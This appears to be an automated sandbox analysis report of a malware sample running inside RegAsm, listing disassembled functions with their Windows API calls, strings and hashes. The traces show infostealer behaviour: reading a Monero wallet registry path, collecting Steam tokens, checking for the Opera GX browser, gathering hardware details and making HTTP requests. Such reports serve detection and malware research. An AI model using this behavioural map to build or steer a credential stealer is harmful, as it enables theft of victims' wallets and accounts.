GetProcessHeap.KERNEL32(00000000,00000104), ref: 00402510
RtlAllocateHeap.NTDLL(00000000), ref: 00402517

Part of subcall function 00402308: ??_U@YAPAXI@Z.MSVCRT ref: 0040238D

memset.MSVCRT ref: 00402540

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$BinaryCryptHeapString$AllocateProcessstrcat
String ID:
API String ID: 3248666761-0
Opcode ID: a641902682074bfb60fea3bc3b21c2ff598bd00ccde1354f0615c18b64d23653
Instruction ID: 5936fd312f401cb4099e43ed518250dd8d8a99da873d70e406837ce1c28814d2
Opcode Fuzzy Hash: a641902682074bfb60fea3bc3b21c2ff598bd00ccde1354f0615c18b64d23653
Instruction Fuzzy Hash: BCF044B6C0021CB7CB10BBA4DD49FCA777C9F14304F0000A6BA45F2081DAB497C4CBA4

Function 0040D6BB Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 454COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D6C0

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

StrCmpCA.SHLWAPI(00000000,Opera GX,00425BC6,00425BC3,?,?,?), ref: 0040D70A

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425BF6,?,?), ref: 00410CF6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040A893: _EH_prolog.MSVCRT ref: 0040A898

Strings

Opera GX, xrefs: 0040D6F2
#, xrefs: 0040DBD3

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: #$Opera GX
API String ID: 2625060131-1046280356
Opcode ID: 0d52e54730dc141048d375f83ad8129c69a5083a6e3fd02f50115e121cba97ed
Instruction ID: 6c82463e2676cb38e72d52ba03d9db1ff071c52b99602dbfe09bc28b63ea1fae
Opcode Fuzzy Hash: 0d52e54730dc141048d375f83ad8129c69a5083a6e3fd02f50115e121cba97ed
Instruction Fuzzy Hash: 2A028C7190424CEADF14EBE5D956BDEBBB8AF19308F50417EE405732C2DA781B0C8B66

Function 00413326 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041332B
lstrlenA.KERNEL32(00000000), ref: 00413348
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041340C

Strings

ERROR, xrefs: 00413406

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen
String ID: ERROR
API String ID: 2133942097-2861137601
Opcode ID: 457c7dca167f6097eb3decf56045153080dc014ab3c7bbf54f3f61cdd9435eba
Instruction ID: 77545b96f9c55e0de6ec71263cb7e0cfa71b0ad252d2fb84a837ede919fdf13f
Opcode Fuzzy Hash: 457c7dca167f6097eb3decf56045153080dc014ab3c7bbf54f3f61cdd9435eba
Instruction Fuzzy Hash: 133172B1900148AFCB00EFA9D956BDD7FB4AB15304F10803EF405A7282DB389648CBA9

Function 0041303A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041303F

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00404F2A: _EH_prolog.MSVCRT ref: 00404F2F
Part of subcall function 00404F2A: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
Part of subcall function 00404F2A: StrCmpCA.SHLWAPI(?), ref: 00404FA6
Part of subcall function 00404F2A: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F2A: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
Part of subcall function 00404F2A: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
Part of subcall function 00404F2A: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
Part of subcall function 00404F2A: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041309D

Strings

ERROR, xrefs: 0041308B
ERROR, xrefs: 004130C5

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$H_prologOpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 1120091252-2579291623
Opcode ID: aefbf7741ce3e4e0e52d37c23a8d594d106d3e01a68b0f1fcaa8373cdeccc4c0
Instruction ID: 9cf05e6fcab295474e65acada3454b7dde9d8d835f49f967da0029279a9dc82d
Opcode Fuzzy Hash: aefbf7741ce3e4e0e52d37c23a8d594d106d3e01a68b0f1fcaa8373cdeccc4c0
Instruction Fuzzy Hash: FC210EB0900189EADB14FFA5C556BDDBBF4AF18348F50417EE80563682DB785B0CCB66

Function 00411001 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,2IA), ref: 00411019
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00411034
CloseHandle.KERNEL32(00000000), ref: 0041103B

Strings

2IA, xrefs: 0041100F

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: 2IA
API String ID: 3183270410-4174278054
Opcode ID: 30d4ffeda736fd64e0374663d8f4d70df638ccef9048597482ecb454b1010210
Instruction ID: 8552e384592846dc61b773d54a0908cfb1ecd9fdbc452b9aa5e823a114c6ff4c
Opcode Fuzzy Hash: 30d4ffeda736fd64e0374663d8f4d70df638ccef9048597482ecb454b1010210
Instruction Fuzzy Hash: 85F03079905228BBEB60AB90DC49FDD3B78AB09715F000061BE85A61D0DBB4AAC4CBD4

Function 00414437 Relevance: 6.1, APIs: 4, Instructions: 76sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041443C

Part of subcall function 00413460: _EH_prolog.MSVCRT ref: 00413465

Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004144C0
CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$CreateObjectSingleSleepThreadWait
String ID:
API String ID: 2678630583-0
Opcode ID: fb7f86a4d038d58da3621eb36abdba5b43a6fdb478c7a05049313af6d209da56
Instruction ID: 90c6c212f9a98d1f3efa3e19a0f967dde8f702bf728512cfd2e6caf086527d46
Opcode Fuzzy Hash: fb7f86a4d038d58da3621eb36abdba5b43a6fdb478c7a05049313af6d209da56
Instruction Fuzzy Hash: 3E311E75900148AFCB11DFA4C995ADEBBB8FF18304F50412FF906A7281DB789B88CB95

Function 00401000 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
HeapAlloc.KERNEL32(00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
RegOpenKeyExA.KERNEL32(000000FF,00000000,00000000,00020119,?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction ID: 832c21bd40a73018163515ce5beef45c93da2aa0da3d8997035a91abaf75a422
Opcode Fuzzy Hash: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction Fuzzy Hash: E2F03A79240208FFEB119F91DC0AFAE7B7AEB45B40F104025FB01AA1A0D7B19A109B24

Function 0040FE18 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042667C), ref: 0040FE2C
HeapAlloc.KERNEL32(00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042667C,00000000,?), ref: 0040FE33
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040FE51
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040FE6D

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 5a348dce4926add7b50cf3e1a3237f7deaf910ff3e5a2bc42b85e6f6daaeb5b6
Instruction ID: c6a06fe1a5752460b6d2ee94bc9516a9de2a98ba0b24791e6944b9a77995073e
Opcode Fuzzy Hash: 5a348dce4926add7b50cf3e1a3237f7deaf910ff3e5a2bc42b85e6f6daaeb5b6
Instruction Fuzzy Hash: 11F05E7A240214FFFB209BD1DD0EFAA7A7EEB45B04F101035FB01A61A1D7B05900DB64

Function 00402308 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040238D

Strings

6%@, xrefs: 00402312, 0040231B
6%@, xrefs: 0040242C, 00402420

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: 6%@$6%@
API String ID: 0-3369382886
Opcode ID: 1671fecbb1ebbe02e7eb2cc7cf41ad1b7ad139c209bd50c1cd2ae32b560b646f
Instruction ID: badd9bf96c2c88f43ed760c6ea304aae97d5f1f2e5982ea7d2ae84e0ed7fb19c
Opcode Fuzzy Hash: 1671fecbb1ebbe02e7eb2cc7cf41ad1b7ad139c209bd50c1cd2ae32b560b646f
Instruction Fuzzy Hash: 9C4146716001199FCB01CF69D8806EDBBB1FF89318F1484BADC55EB395C3B8A982CB54

Function 00414538 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041453D

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

lstrlenA.KERNEL32(00000000,00000000,?,00000000,0042655B), ref: 0041458E

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Soft\Steam\steam_tokens.txt, xrefs: 004145A6

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 40794102-3507145866
Opcode ID: 5dea421be7ed3263a5a25ba242280bcfb85689912c92a282fb01fad9efacc230
Instruction ID: 1e33fb55044e108cdc823b8717a6e4474b59c1838e8e2ba6a3b9a54ee3721495
Opcode Fuzzy Hash: 5dea421be7ed3263a5a25ba242280bcfb85689912c92a282fb01fad9efacc230
Instruction Fuzzy Hash: 61215B71C00148AACB14FBE5C966BDDBB74AF18308F50817EE411725D2DB78174CCA66

Function 004165D9 Relevance: 4.6, APIs: 3, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004165DE

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

lstrcat.KERNEL32(?,00000000), ref: 00416620
lstrcat.KERNEL32(?), ref: 0041663F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 004162AF: _EH_prolog.MSVCRT ref: 004162B4
Part of subcall function 004162AF: wsprintfA.USER32 ref: 004162D4
Part of subcall function 004162AF: FindFirstFileA.KERNEL32(?,?), ref: 004162EB
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,004268B0), ref: 00416308
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,004268B4), ref: 00416322
Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416346
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,00426525), ref: 00416357
Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416374
Part of subcall function 004162AF: PathMatchSpecA.SHLWAPI(?,?), ref: 0041639B
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 004163C7
Part of subcall function 004162AF: lstrcat.KERNEL32(?,004268CC), ref: 004163D9
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 004163E9
Part of subcall function 004162AF: lstrcat.KERNEL32(?,004268D0), ref: 004163FB
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 0041640F

Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416388

Part of subcall function 004162AF: FindNextFileA.KERNEL32(00000000,?), ref: 004165AA
Part of subcall function 004162AF: FindClose.KERNEL32(00000000), ref: 004165B9

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 25485560-0
Opcode ID: 6a69f1f2ed3b177ebeb85c1869a8abb099c5e14ffe340268730b21adc0a832aa
Instruction ID: 6e5b766fc683c4e74d5122aabce2b8c3392ef196e7b74699665c3906b53d7570
Opcode Fuzzy Hash: 6a69f1f2ed3b177ebeb85c1869a8abb099c5e14ffe340268730b21adc0a832aa
Instruction Fuzzy Hash: 5A41AD7194022DABCF10EBF0EC13DED7B79AB18314F00466AF844A2192E77997958B96

Function 6CC33060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CC33095

Part of subcall function 6CC335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CCBF688,00001000), ref: 6CC335D5
Part of subcall function 6CC335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CC335E0
Part of subcall function 6CC335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CC335FD
